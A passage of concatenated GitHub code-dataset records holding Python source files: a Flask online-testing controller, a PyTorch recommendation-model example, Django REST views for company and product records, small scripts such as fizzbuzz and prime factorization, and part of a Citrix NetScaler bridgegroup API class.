тестирование',\n        'page_info': 'Регистрация на тестирование',\n        'login_required': True,\n        'errors': [],\n        'form': TestRegistrationForm()\n    }\n\n    if values['form'].validate_on_submit():\n        sessionparams.test_status = 4\n        # Удалим студентов не прошедших до конца все шаги регистрации (у которых не заполнены все необходимые поля)\n        [test_id_var_1, test_id_var_2] = get_variants()\n        students_unready = Student.query.filter(Student.test_id.in_([test_id_var_1, test_id_var_2]),\n                                          Student.variant == None).delete(synchronize_session=False)\n        print(students_unready)\n\n        db.session.commit()\n        session['test_status'] = 4\n        return redirect(url_for('demonstrator.index'))\n\n    test_property = Test.query.get(db.session.query(db.func.max(Test.id)).scalar())\n    values['theme'] = test_property.theme.name\n    values['special'] = test_property.special.name\n    values['num'] = test_property.num\n\n    for key in values['form'].errors:\n        values['errors'].append(values['form'].errors[key])\n\n    return render_template('demonstrator/test_registration.html', values=values)\n\n\n@demonstrator.route('test_process/', methods=['GET', 'POST'])\n@login_require\ndef test_process():\n\n    if not request.referrer:\n        return redirect(url_for('administrator.index'))\n\n    values = {\n        'title': 'Демонстратор: Идёт теститорвание',\n        'page_info': 'Тестирование приостановлено',\n        'login_required': True,\n        'errors': [],\n        'form': None,\n    }\n\n    variant2 = {\n        'id': db.session.query(db.func.max(Test.id)).scalar(),\n        'question': {},\n    }\n    variant1 = {\n        'id': variant2['id'] - 1,\n        'question': {}\n    }\n    sessionparams = Sessions.query.get(1)\n    for variant in [variant1, variant2]:\n        question = Question.query.filter_by(test_id=variant['id'], num=sessionparams.quest_num).first()\n\n        variant['variant'] = Test.query.get(variant['id']).variant\n        variant['quest_max'] = len(Test.query.get(variant['id']).questions)\n        variant['question']['name'] = question.name\n        variant['question']['text'] = question.text\n        variant['question']['img_path'] = question.img_path\n        answers = Answer.query.filter_by(question_id=question.id).order_by('num')\n        variant['question']['answers'] = [answer.text for answer in answers]\n\n    values['variant1'], values['variant2'] = variant1, variant2\n    values['quest_time'] = sessionparams.quest_time\n\n    test_property = Test.query.get(variant2['id'])\n    values['theme'] = test_property.theme.name\n    values['special'] = test_property.special.name\n    values['num'] = test_property.num\n    return render_template('demonstrator/test_process.html', values=values)\n\n\n@demonstrator.route('test_finish/', methods=['GET', 'POST'])\n@login_require\ndef test_finish():\n\n    if not request.referrer:\n        return redirect(url_for('administrator.index'))\n\n    sessionparams = Sessions.query.get(1)\n\n    if sessionparams.test_status != 5 and sessionparams.quest_max == sessionparams.quest_num:\n        sessionparams.test_status = 5\n        db.session.commit()\n        session['test_status'] = sessionparams.test_status\n\n    values = {\n        'title': 'Демонстратор:тестирование окончено',\n        'page_info': 'Тестирование закончено',\n        'login_required': True,\n        'errors': [],\n        'form': TestFinishForm()\n    }\n\n    if values['form'].validate_on_submit():\n        sessionparams.test_status = 1\n        db.session.commit()\n        session['test_status'] = 1\n        return redirect(url_for('administrator.index'))\n\n    # Присвоем тестам статусы выполненных\n    variants = get_variants()\n    for variant in variants:\n        test = Test.query.get(variant)\n        test.completed = True\n        db.session.add(test)\n\n    db.session.commit()\n\n    # Получим параметры активного тестирования\n    test_property = Test.query.get(db.session.query(db.func.max(Test.id)).scalar())\n    values['theme'] = test_property.theme.name\n    values['special'] = test_property.special.name\n    values['num'] = test_property.num\n\n    for key in values['form'].errors:\n        values['errors'].append(values['form'].errors[key])\n\n    return render_template('demonstrator/test_finish.html', values=values)\n\n\n@demonstrator.route('_new_question/', methods=['GET', 'POST'])\n@login_require\ndef new_question():\n\n    variant2 = {\n        'id': db.session.query(db.func.max(Test.id)).scalar(),\n        'question': {},\n    }\n    variant1 = {\n        'id': variant2['id'] - 1,\n        'question': {}\n    }\n    sessionparams = Sessions.query.get(1)\n    sessionparams.quest_num += 1\n    db.session.commit()\n    session['quest_num'] = sessionparams.quest_num\n    for variant in [variant1, variant2]:\n        variant['variant'] = Test.query.get(variant['id']).variant\n        question = Question.query.filter_by(test_id=variant['id'], num=sessionparams.quest_num).first()\n        variant['question']['name'] = question.name\n        variant['question']['text'] = question.text\n        variant['question']['img_path'] = question.img_path\n        answers = Answer.query.filter_by(question_id=question.id).order_by('num')\n        variant['question']['answers'] = [answer.text for answer in answers]\n\n    return render_template('demonstrator/question.html', question1=variant1['question'], question2=variant2['question'])\n\n\n@demonstrator.route('_students_count/', methods=['GET', 'POST'])\n@login_require\ndef students_count():\n    \"\"\"\n    Функция возвращает число зарегистрированных на тестирование студентов\n    :return html\n    \"\"\"\n    [test_id_var_1, test_id_var_2] = get_variants()\n    students_count = Student.query.filter(Student.test_id.in_([test_id_var_1, test_id_var_2]),\n                                          Student.variant != None).count()\n    return 'Число зарегистрированных участников: ' + str(students_count) + ' человек'\n\n\ndef get_variants():\n    \"\"\"\n    Функция возвращает id тестов для двух вариантов текущей сессии\n    :return: list\n    \"\"\"\n    test_id_var_2 = db.session.query(db.func.max(Test.id)).scalar()\n    test_id_var_1 = test_id_var_2 - 1\n    return [test_id_var_1, test_id_var_2]\n","repo_name":"CyberPunk2049/OnlineTester","sub_path":"app/demonstrator/controllers.py","file_name":"controllers.py","file_ext":"py","file_size_in_byte":14245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"74232984363","text":"import torch\nfrom torch import nn\nimport numpy as np\nfrom torch.utils.data import DataLoader\n\nfrom pt.data.dataset import create_dataset\nfrom pt.data.features import FeatureMeta\nfrom pt.data.dataloader import BinDataset\n\nclass Net(nn.Module):\n    def create_mlp(self, ln, sigmoid_layer):\n        # build MLP layer by layer\n        layers = nn.ModuleList()\n        for i in range(0, len(ln) - 1):\n            n = ln[i]\n            m = ln[i + 1]\n            # construct fully connected operator\n            LL = nn.Linear(int(n), int(m), bias=True)\n            mean = 0.0  # std_dev = np.sqrt(variance)\n            std_dev = np.sqrt(2 / (m + n))  # np.sqrt(1 / m) # np.sqrt(1 / n)\n            W = np.random.normal(mean, std_dev, size=(m, n)).astype(np.float32)\n            std_dev = np.sqrt(1 / m)  # np.sqrt(2 / (m + 1))\n            bt = np.random.normal(mean, std_dev, size=m).astype(np.float32)\n            LL.weight.data = torch.tensor(W, requires_grad=True)\n            LL.bias.data = torch.tensor(bt, requires_grad=True)\n            layers.append(LL)\n            # construct sigmoid or relu operator\n            if i == sigmoid_layer:\n                layers.append(nn.Sigmoid())\n            else:\n                layers.append(nn.ReLU())\n        return torch.nn.Sequential(*layers)\n\n    def create_emb(self, m, ln, local_ln_emb_sparse=None, ln_emb_dense=None):\n        emb_l = nn.ModuleList()\n        # save the numpy random state\n        np_rand_state = np.random.get_state()\n        emb_dense = nn.ModuleList()\n        emb_sparse = nn.ModuleList()\n        embs = range(len(ln))\n        if local_ln_emb_sparse or ln_emb_dense:\n            embs = local_ln_emb_sparse + ln_emb_dense\n        for i in embs:\n            # Use per table random seed for Embedding initialization\n            np.random.seed(self.l_emb_seeds[i])\n            n = ln[i]\n            # construct embedding operator\n            if self.qr_flag and n > self.qr_threshold:\n                EE = QREmbeddingBag(n, m, self.qr_collisions,\n                    operation=self.qr_operation, mode=\"sum\", sparse=True)\n            elif self.md_flag:\n                base = max(m)\n                _m = m[i] if n > self.md_threshold else base\n                EE = PrEmbeddingBag(n, _m, base)\n                # use np initialization as below for consistency...\n                W = np.random.uniform(\n                    low=-np.sqrt(1 / n), high=np.sqrt(1 / n), size=(n, _m)\n                ).astype(np.float32)\n                EE.embs.weight.data = torch.tensor(W, requires_grad=True)\n\n            else:\n                # initialize embeddings\n                # nn.init.uniform_(EE.weight, a=-np.sqrt(1 / n), b=np.sqrt(1 / n))\n                W = np.random.uniform(\n                    low=-np.sqrt(1 / n), high=np.sqrt(1 / n), size=(n, m)\n                ).astype(np.float32)\n                # approach 1\n                if n >= self.sparse_dense_boundary:\n                    #n = 39979771\n                    m_sparse = int(m/4)\n                    W = np.random.uniform(\n                        low=-np.sqrt(1 / n), high=np.sqrt(1 / n), size=(n, m_sparse)\n                    ).astype(np.float32)\n                    EE = nn.EmbeddingBag(n, m_sparse, mode=\"sum\", sparse=True, _weight=torch.tensor(W, requires_grad=True))\n                else:\n                    W = np.random.uniform(\n                        low=-np.sqrt(1 / n), high=np.sqrt(1 / n), size=(n, m)\n                    ).astype(np.float32)\n                    EE = nn.EmbeddingBag(n, m, mode=\"sum\", sparse=False, _weight=torch.tensor(W, requires_grad=True))\n                # approach 2\n                # EE.weight.data.copy_(torch.tensor(W))\n                # approach 3\n                # EE.weight = Parameter(torch.tensor(W),requires_grad=True)\n                if self.bf16 and ipex.is_available():\n                    EE.to(torch.bfloat16)\n               \n            if ext_dist.my_size > 1:\n                if n >= self.sparse_dense_boundary:\n                    emb_sparse.append(EE)\n                else:\n                    emb_dense.append(EE)\n\n            emb_l.append(EE)\n\n        # Restore the numpy random state\n        np.random.set_state(np_rand_state)\n        return emb_l, emb_dense, emb_sparse\n\n    def __init__(\n        self,\n        ln=None\n    ):\n        super(Net, self).__init__()\n        self.bot_l = self.create_mlp(ln, len(ln)-1)\n\n    def apply_mlp(self, x, layers):\n        need_padding = x.size(0) % 2 == 1\n        if need_padding:\n            x = torch.nn.functional.pad(input=x, pad=(0,0,0,1), mode='constant', value=0)\n            ret = layers(x)\n            return(ret[:-1,:])\n        else:\n            return layers(x)\n\n    def apply_emb(self, lS_o, lS_i, emb_l):\n        # WARNING: notice that we are processing the batch at once. We implicitly\n        # assume that the data is laid out such that:\n        # 1. each embedding is indexed with a group of sparse indices,\n        #   corresponding to a single lookup\n        # 2. for each embedding the lookups are further organized into a batch\n        # 3. for a list of embedding tables there is a list of batched lookups\n\n        ly = []\n        for k, sparse_index_group_batch in enumerate(lS_i):\n            sparse_offset_group_batch = lS_o[k]\n\n            # embedding lookup\n            # We are using EmbeddingBag, which implicitly uses sum operator.\n            # The embeddings are represented as tall matrices, with sum\n            # happening vertically across 0 axis, resulting in a row vector\n            E = emb_l[k]\n            V = E(sparse_index_group_batch, sparse_offset_group_batch)\n\n            ly.append(V)\n\n        # print(ly)\n        return ly\n#if self.bf16:\n    def interact_features(self, x, ly):\n        x = x.to(ly[0].dtype)\n        if self.arch_interaction_op == \"dot\":\n            if self.bf16:\n                T = [x] + ly\n                R = ipex.interaction(*T)\n            else:\n                # concatenate dense and sparse features\n                (batch_size, d) = x.shape\n                T = torch.cat([x] + ly, dim=1).view((batch_size, -1, d))\n                # perform a dot product\n                Z = torch.bmm(T, torch.transpose(T, 1, 2))\n                # append dense feature with the interactions (into a row vector)\n                # approach 1: all\n                # Zflat = Z.view((batch_size, -1))\n                # approach 2: unique\n                _, ni, nj = Z.shape\n                # approach 1: tril_indices\n                # offset = 0 if self.arch_interaction_itself else -1\n                # li, lj = torch.tril_indices(ni, nj, offset=offset)\n                # approach 2: custom\n                offset = 1 if self.arch_interaction_itself else 0\n                li = torch.tensor([i for i in range(ni) for j in range(i + offset)])\n                lj = torch.tensor([j for i in range(nj) for j in range(i + offset)])\n                Zflat = Z[:, li, lj]\n                # concatenate dense features and interactions\n                R = torch.cat([x] + [Zflat], dim=1)\n        elif self.arch_interaction_op == \"cat\":\n            # concatenation features (into a row vector)\n            R = torch.cat([x] + ly, dim=1)\n        else:\n            sys.exit(\n                \"ERROR: --arch-interaction-op=\"\n                + self.arch_interaction_op\n                + \" is not supported\"\n            )\n\n        return R\n\n    def forward(self, dense_x):\n        # process dense features (using bottom mlp), resulting in a row vector\n        x = self.apply_mlp(dense_x, self.bot_l)\n\n        return x\n\n\ndef main():\n    train_file = '/home/vmagent/app/dataset/criteo/valid/test_data.bin'\n    counts_file = '/home/vmagent/app/dataset/criteo/day_fea_count.npz'\n    train_data = BinDataset(\n        data_file=train_file,\n        batch_size=32\n    )\n    train_dataloader = DataLoader(train_data, batch_size=None, shuffle=True)\n    model = Net([39, 64, 1])\n    loss_fn = torch.nn.MSELoss(reduction=\"mean\")\n    optimizer = torch.optim.SGD(model.parameters(), lr=0.1)\n\n    for step, (x, y) in enumerate(train_dataloader):\n        print(f'step: {step}')\n        pred = model(x)\n        loss = loss_fn(pred, y)\n        optimizer.zero_grad()\n        loss.backward()\n        optimizer.step()\n        if step == 2:\n            break\n    \n    torch.save(model.state_dict(), 'model/pytorch/model.pth')\n\nif __name__ == '__main__':\n    main()","repo_name":"intel/e2eAIOK","sub_path":"modelzoo/upm/pt/example/pytorch_model.py","file_name":"pytorch_model.py","file_ext":"py","file_size_in_byte":8387,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"19"}
{"seq_id":"22509979461","text":"from typing import Union\n\nfrom django.db import transaction\nfrom django.http import HttpResponse\nfrom django.core.exceptions import ObjectDoesNotExist\n\nfrom rest_framework import views\nfrom rest_framework import generics, status\nfrom rest_framework.response import Response\n\nfrom app.api import serializer\nfrom app import models\nfrom app.repositories import avg_debt, ValidationCheck\nfrom app.tasks import send_email\n\n\nclass CompanyView(generics.ListAPIView):\n    \"\"\"\n    Информация обо все объектах сети, где есть авторизированный сотрудник\n    \"\"\"\n    serializer_class = serializer.CompanySerializer\n    queryset = models.Company.objects\n\n    def get(self, request, *args, **kwargs) -> Response:\n        queryset = self.queryset.filter(company_staff__staff=request.user.pk)\n        serializers = serializer.CompanySerializer(queryset, many=True)\n        return Response(serializers.data)\n\n\nclass CountyCompanyView(generics.ListAPIView):\n    \"\"\"\n    Информацию об объектах определённой страны(фильтр по названию страны)\n    \"\"\"\n    serializer_class = serializer.CompanySerializer\n    queryset = models.Company.objects\n\n    def get(self, request, country: str, *args, **kwargs) -> Response:\n        queryset = self.queryset.filter(company_staff__staff=request.user.pk, country=country.lower())\n        serializers = serializer.CompanySerializer(queryset, many=True)\n        return Response(serializers.data)\n\n\nclass CreateCompanyView(generics.CreateAPIView):\n    \"\"\"\n    Создать новую запить об объекте сети\n    \"\"\"\n    serializer_class = serializer.CreateCompanySerializer\n\n    def post(self, request, *args, **kwargs) -> Union[Response, HttpResponse]:\n        company = models.Company()\n\n        try:\n            type_company = models.TypeCompany.objects.get(pk=request.data.get('type_company'))\n        except ObjectDoesNotExist:\n            return HttpResponse('Такого типа компании не существует')\n\n        try:\n            supplier = models.Company.objects.get(pk=request.data.get('supplier'))\n        except ObjectDoesNotExist:\n            return HttpResponse('Такого поставщика не существует')\n\n\n        company.name = request.data.get('name', None)\n        company.type_company = type_company\n        company.email = request.data.get('email', None)\n        company.country = request.data.get('country', None)\n        company.city = request.data.get('city', None)\n        company.street = request.data.get('street', None)\n        company.house_number = request.data.get('house_number', None)\n        company.supplier = supplier\n        company.save()\n        return Response(status=status.HTTP_201_CREATED)\n\n\nclass RemoveCompanyView(generics.DestroyAPIView):\n\n    def delete(self, request, pk: int, *args, **kwargs) -> Union[Response, ObjectDoesNotExist]:\n        try:\n            company = models.Company.objects.get(pk=pk, company_staff__staff=request.user.pk)\n            company.delete()\n            return Response(status=status.HTTP_200_OK)\n        except ObjectDoesNotExist:\n            return Response(status=status.HTTP_404_NOT_FOUND)\n\n\nclass CreateProductsView(generics.CreateAPIView):\n    \"\"\"\n    Создать новую запить об продукте\n    \"\"\"\n    serializer_class = serializer.ProductSerializer\n\n    def post(self, request, *args, **kwargs) -> Response:\n        products = models.Products()\n\n        products.name = request.data.get('name', None)\n        products.model = request.data.get('model', None)\n        products.release_data = request.data.get('release_data', None)\n        products.save()\n        return Response(status=status.HTTP_201_CREATED)\n\n\nclass RemoveProductsView(generics.DestroyAPIView):\n    \"\"\"\n    Удалить запись продукта\n    \"\"\"\n\n    def delete(self, request, pk: int, *args, **kwargs) -> Union[Response, ObjectDoesNotExist]:\n        try:\n            company = models.Products.objects.get(pk=pk)\n            company.delete()\n            return Response(status=status.HTTP_200_OK)\n        except ObjectDoesNotExist:\n            return Response(status=status.HTTP_404_NOT_FOUND)\n\n\nclass FindCompanyWithProductView(generics.ListAPIView):\n    \"\"\"\n    Все объекты сети, где можно встретить определённый продукт (фильтр по id продукта)\n    \"\"\"\n\n    serializer_class = serializer.CompanySerializer\n    queryset = models.Company.objects\n\n    def get(self, request, pk: int, *args, **kwargs) -> Response:\n        queryset = self.queryset.filter(company_staff__staff=request.user.pk, products_company__product=pk)\n        serializers = serializer.CompanySerializer(queryset, many=True)\n        return Response(serializers.data)\n\n\nclass MoreAvgDebtView(generics.ListAPIView):\n    \"\"\"\n    Выводит среднею задолженность по объектам сети и сами объекты, где задолженность превышает среднею\n    \"\"\"\n    serializer_class = serializer.DebtMoreAvgSerializer\n    queryset = models.Company.objects\n\n    def get(self, request, *args, **kwargs) -> Response:\n        static = {'avg_debt': avg_debt(), 'company': None}\n        queryset = self.queryset.filter(company_staff__staff=request.user.pk, debt__gt=static['avg_debt'])\n        static['company'] = serializer.CompanySerializer(queryset, many=True).data\n        return Response(static, status=status.HTTP_200_OK)\n\n\nclass UpdateProductView(views.APIView):\n    \"\"\"\n    Обновление информации об продукте\n    \"\"\"\n    serializer_class = serializer.ProductSerializer\n\n    def patch(self, request, pk: int, *args, **kwargs) -> Union[Response, HttpResponse, ObjectDoesNotExist]:\n        with transaction.atomic():\n            try:\n                product = models.Products.objects.select_for_update().get(pk=pk)\n            except ObjectDoesNotExist:\n                return Response(status=status.HTTP_404_NOT_FOUND)\n\n            name: str | None = request.data.get('name', None)\n            error_name = ValidationCheck.valid_name(name, 25)\n            if error_name:\n                return HttpResponse(error_name)\n\n            release_data: str | None = request.data.get('release_data', None)\n            error_date = ValidationCheck.date(release_data)\n            if error_date:\n                return HttpResponse(error_date)\n\n            product.name = name\n            product.model = request.data.get('model', None)\n            product.release_data = release_data\n            product.save()\n        return Response(status=status.HTTP_200_OK)\n\n\nclass UpdateCompanyView(views.APIView):\n    \"\"\"\n    Обновление информации об объекте сети\n    \"\"\"\n    serializer_class = serializer.UpdateCompanySerializer\n\n    def patch(self, request, pk: int, *args, **kwargs) -> Union[Response, HttpResponse, ObjectDoesNotExist]:\n        with transaction.atomic():\n            try:\n                company = models.Company.objects.select_for_update().get(pk=pk, company_staff__staff=request.user.pk)\n            except ObjectDoesNotExist:\n                return Response(status=status.HTTP_404_NOT_FOUND)\n\n            try:\n                type_company = models.TypeCompany.objects.get(pk=request.data.get('type_company'))\n            except ObjectDoesNotExist:\n                return HttpResponse('Такого типа компании не существует')\n\n            try:\n                supplier = models.Company.objects.get(pk=request.data.get('supplier'))\n            except ObjectDoesNotExist:\n                return HttpResponse('Такого поставщика не существует')\n\n            name: str | None = request.data.get('name', None)\n            error = ValidationCheck.valid_name(name, 50)\n            if error:\n                return HttpResponse(error)\n\n            company.name = name\n            company.email = request.data.get('email', None)\n            company.type_company = type_company\n            company.country = request.data.get('country', None)\n            company.city = request.data.get('city', None)\n            company.street = request.data.get('street', None)\n            company.house_number = request.data.get('house_number', None)\n            company.supplier = supplier\n            company.save()\n        return Response(status=status.HTTP_200_OK)\n\n\nclass QrCodeAboutCompanyView(generics.ListAPIView):\n    \"\"\"\n    Отправка контактной информации на почту пользователя в виде QRCode\n    \"\"\"\n    queryset = models.Company.objects\n\n    def get(self, request, pk: int, *args, **kwargs) -> Union[Response,HttpResponse, ObjectDoesNotExist]:\n\n        try:\n            company = models.Company.objects.get(pk=pk)\n        except ObjectDoesNotExist:\n            return Response(status=status.HTTP_404_NOT_FOUND)\n\n        user_email = request.user.email\n        if not user_email:\n            return HttpResponse('404: У пользователя отсутствует email для отправки данных')\n\n        name_company = f'Компания {company.name}'\n        info_company = f'{name_company}\\nEmail: {company.email}\\nСтрана:{company.country.title()}, ' \\\n                       f'Город: {company.city.title()}, Улица: {company.street.title()}, Дом: {company.house_number}'\n        send_email.apply_async(\n            args=[\n                name_company,\n                info_company,\n                user_email,\n            ],\n            serializer='json',\n        )\n        return Response(status=status.HTTP_200_OK)\n\n\n\n","repo_name":"mep3ab4ik/RocketData","sub_path":"app/api/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":9785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"7200100014","text":"n = int(input())\n\nresult = []\nfor i in range(2, int(n ** 0.5) + 1):\n    while n % i == 0:\n        result.append(i)\n        n //= i\nif n != 1:\n    result.append(n)\n\nprint(\"\\n\".join(map(str, result)))","repo_name":"seong-wooo/Algorithm_Study","sub_path":"software_maestro/소마_준비과정/day9/11653.py","file_name":"11653.py","file_ext":"py","file_size_in_byte":198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"40170203367","text":"\nimport calendar\nimport contextlib\nimport os, os.path\n\n\n@contextlib.contextmanager\ndef cwdAs(filepath):\n    \"\"\"\n    A context manager that changes the current working directory to the\n    directory containing the filepath given. The value bound to the\n    target of the `as` clause is the full path to the new directory.\n    \"\"\"\n    oldcwd = os.getcwd()\n    newcwd = os.path.realpath(filepath)\n    os.chdir(newcwd)\n    try: yield newcwd\n    except:\n        # Always reset the CWD, even if there was an exception.\n        os.chdir(oldcwd)\n        raise\n    os.chdir(oldcwd)\n\n\ndef setModifiedTime(filename, when):\n    \"\"\"\n    Set the \"modified\" time of the file described to the time given.\n    \"when\" should be a tuple in the format described by\n    https://docs.python.org/3/library/time.html#time.struct_time\n    \"\"\"\n    atime = os.stat(filename).st_atime\n    mtime = calendar.timegm(when)\n    os.utime(filename, times=(atime, mtime))","repo_name":"Newer-Team/NewerSMBDS","sub_path":"Assembly/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"19"}
{"seq_id":"32497204496","text":"import sys\r\n\r\nnumbers = sys.argv\r\n\r\nfor i in range(len(numbers)):\r\n    if(i > 0):\r\n        n = int(numbers[i])\r\n        if(n % 3 == 0 and n % 5 == 0):\r\n            print(\"fizzbuzz\")\r\n        elif(n % 3 == 0):\r\n            print(\"fizz\")\r\n        elif(n % 5 == 0):\r\n            print(\"buzz\")\r\n        else:\r\n            print(n)","repo_name":"aydotvin/twilio-quest-python-solutions","sub_path":"fizzbuzz.py","file_name":"fizzbuzz.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"2622782564","text":"from nssrc.com.citrix.netscaler.nitro.resource.base.base_resource import base_resource\nfrom nssrc.com.citrix.netscaler.nitro.resource.base.base_resource import base_response\nfrom nssrc.com.citrix.netscaler.nitro.service.options import options\nfrom nssrc.com.citrix.netscaler.nitro.exception.nitro_exception import nitro_exception\n\nfrom nssrc.com.citrix.netscaler.nitro.util.nitro_util import nitro_util\n\nclass bridgegroup(base_resource) :\n\t\"\"\" Configuration for bridge group resource. \"\"\"\n\tdef __init__(self) :\n\t\tself._id = None\n\t\tself._dynamicrouting = None\n\t\tself._ipv6dynamicrouting = None\n\t\tself._flags = None\n\t\tself._portbitmap = None\n\t\tself._tagbitmap = None\n\t\tself._ifaces = None\n\t\tself._tagifaces = None\n\t\tself._rnat = None\n\t\tself._partitionname = None\n\t\tself.___count = 0\n\n\t@property\n\tdef id(self) :\n\t\tr\"\"\"An integer that uniquely identifies the bridge group.<br/>Minimum length =  1<br/>Maximum length =  1000.\n\t\t\"\"\"\n\t\ttry :\n\t\t\treturn self._id\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t@id.setter\n\tdef id(self, id) :\n\t\tr\"\"\"An integer that uniquely identifies the bridge group.<br/>Minimum length =  1<br/>Maximum length =  1000\n\t\t\"\"\"\n\t\ttry :\n\t\t\tself._id = id\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t@property\n\tdef dynamicrouting(self) :\n\t\tr\"\"\"Enable dynamic routing for this bridgegroup.<br/>Default value: DISABLED<br/>Possible values = ENABLED, DISABLED.\n\t\t\"\"\"\n\t\ttry :\n\t\t\treturn self._dynamicrouting\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t@dynamicrouting.setter\n\tdef dynamicrouting(self, dynamicrouting) :\n\t\tr\"\"\"Enable dynamic routing for this bridgegroup.<br/>Default value: DISABLED<br/>Possible values = ENABLED, DISABLED\n\t\t\"\"\"\n\t\ttry :\n\t\t\tself._dynamicrouting = dynamicrouting\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t@property\n\tdef ipv6dynamicrouting(self) :\n\t\tr\"\"\"Enable all IPv6 dynamic routing protocols on all VLANs bound to this bridgegroup. Note: For the ENABLED setting to work, you must configure IPv6 dynamic routing protocols from the VTYSH command line.<br/>Default value: DISABLED<br/>Possible values = ENABLED, DISABLED.\n\t\t\"\"\"\n\t\ttry :\n\t\t\treturn self._ipv6dynamicrouting\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t@ipv6dynamicrouting.setter\n\tdef ipv6dynamicrouting(self, ipv6dynamicrouting) :\n\t\tr\"\"\"Enable all IPv6 dynamic routing protocols on all VLANs bound to this bridgegroup. Note: For the ENABLED setting to work, you must configure IPv6 dynamic routing protocols from the VTYSH command line.<br/>Default value: DISABLED<br/>Possible values = ENABLED, DISABLED\n\t\t\"\"\"\n\t\ttry :\n\t\t\tself._ipv6dynamicrouting = ipv6dynamicrouting\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t@property\n\tdef flags(self) :\n\t\tr\"\"\"Temporary flag used for internal purpose.\n\t\t\"\"\"\n\t\ttry :\n\t\t\treturn self._flags\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t@property\n\tdef portbitmap(self) :\n\t\tr\"\"\"Member interfaces of this  bridge group.\n\t\t\"\"\"\n\t\ttry :\n\t\t\treturn self._portbitmap\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t@property\n\tdef tagbitmap(self) :\n\t\tr\"\"\"Tagged members of this  bridge group.\n\t\t\"\"\"\n\t\ttry :\n\t\t\treturn self._tagbitmap\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t@property\n\tdef ifaces(self) :\n\t\tr\"\"\"Names of all member interfaces of this bridge group.\n\t\t\"\"\"\n\t\ttry :\n\t\t\treturn self._ifaces\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t@property\n\tdef tagifaces(self) :\n\t\tr\"\"\"Names of all tagged member interfaces of this bridge group.\n\t\t\"\"\"\n\t\ttry :\n\t\t\treturn self._tagifaces\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t@property\n\tdef rnat(self) :\n\t\tr\"\"\"Temporary flag used for internal purpose.\n\t\t\"\"\"\n\t\ttry :\n\t\t\treturn self._rnat\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t@property\n\tdef partitionname(self) :\n\t\tr\"\"\"Name of the Partition to which this vlan bound to.<br/>Minimum length =  1.\n\t\t\"\"\"\n\t\ttry :\n\t\t\treturn self._partitionname\n\t\texcept Exception as e:\n\t\t\traise e\n\n\tdef _get_nitro_response(self, service, response) :\n\t\tr\"\"\" converts nitro response into object and returns the object array in case of get request.\n\t\t\"\"\"\n\t\ttry :\n\t\t\tresult = service.payload_formatter.string_to_resource(bridgegroup_response, response, self.__class__.__name__)\n\t\t\tif(result.errorcode != 0) :\n\t\t\t\tif (result.errorcode == 444) :\n\t\t\t\t\tservice.clear_session(self)\n\t\t\t\tif result.severity :\n\t\t\t\t\tif (result.severity == \"ERROR\") :\n\t\t\t\t\t\traise nitro_exception(result.errorcode, str(result.message), str(result.severity))\n\t\t\t\telse :\n\t\t\t\t\traise nitro_exception(result.errorcode, str(result.message), str(result.severity))\n\t\t\treturn result.bridgegroup\n\t\texcept Exception as e :\n\t\t\traise e\n\n\tdef _get_object_name(self) :\n\t\tr\"\"\" Returns the value of object identifier argument\n\t\t\"\"\"\n\t\ttry :\n\t\t\tif self.id is not None :\n\t\t\t\treturn str(self.id)\n\t\t\treturn None\n\t\texcept Exception as e :\n\t\t\traise e\n\n\n\n\t@classmethod\n\tdef add(cls, client, resource) :\n\t\tr\"\"\" Use this API to add bridgegroup.\n\t\t\"\"\"\n\t\ttry :\n\t\t\tif type(resource) is not list :\n\t\t\t\taddresource = bridgegroup()\n\t\t\t\taddresource.id = resource.id\n\t\t\t\taddresource.dynamicrouting = resource.dynamicrouting\n\t\t\t\taddresource.ipv6dynamicrouting = resource.ipv6dynamicrouting\n\t\t\t\treturn addresource.add_resource(client)\n\t\t\telse :\n\t\t\t\tif (resource and len(resource) > 0) :\n\t\t\t\t\taddresources = [ bridgegroup() for _ in range(len(resource))]\n\t\t\t\t\tfor i in range(len(resource)) :\n\t\t\t\t\t\taddresources[i].id = resource[i].id\n\t\t\t\t\t\taddresources[i].dynamicrouting = resource[i].dynamicrouting\n\t\t\t\t\t\taddresources[i].ipv6dynamicrouting = resource[i].ipv6dynamicrouting\n\t\t\t\tresult = cls.add_bulk_request(client, addresources)\n\t\t\treturn result\n\t\texcept Exception as e :\n\t\t\traise e\n\n\t@classmethod\n\tdef delete(cls, client, resource) :\n\t\tr\"\"\" Use this API to delete bridgegroup.\n\t\t\"\"\"\n\t\ttry :\n\t\t\tif type(resource) is not list :\n\t\t\t\tdeleteresource = bridgegroup()\n\t\t\t\tif type(resource) !=  type(deleteresource):\n\t\t\t\t\tdeleteresource.id = resource\n\t\t\t\telse :\n\t\t\t\t\tdeleteresource.id = resource.id\n\t\t\t\treturn deleteresource.delete_resource(client)\n\t\t\telse :\n\t\t\t\tif type(resource[0]) != cls :\n\t\t\t\t\tif (resource and len(resource) > 0) :\n\t\t\t\t\t\tdeleteresources = [ bridgegroup() for _ in range(len(resource))]\n\t\t\t\t\t\tfor i in range(len(resource)) :\n\t\t\t\t\t\t\tdeleteresources[i].id = resource[i]\n\t\t\t\telse :\n\t\t\t\t\tif (resource and len(resource) > 0) :\n\t\t\t\t\t\tdeleteresources = [ bridgegroup() for _ in range(len(resource))]\n\t\t\t\t\t\tfor i in range(len(resource)) :\n\t\t\t\t\t\t\tdeleteresources[i].id = 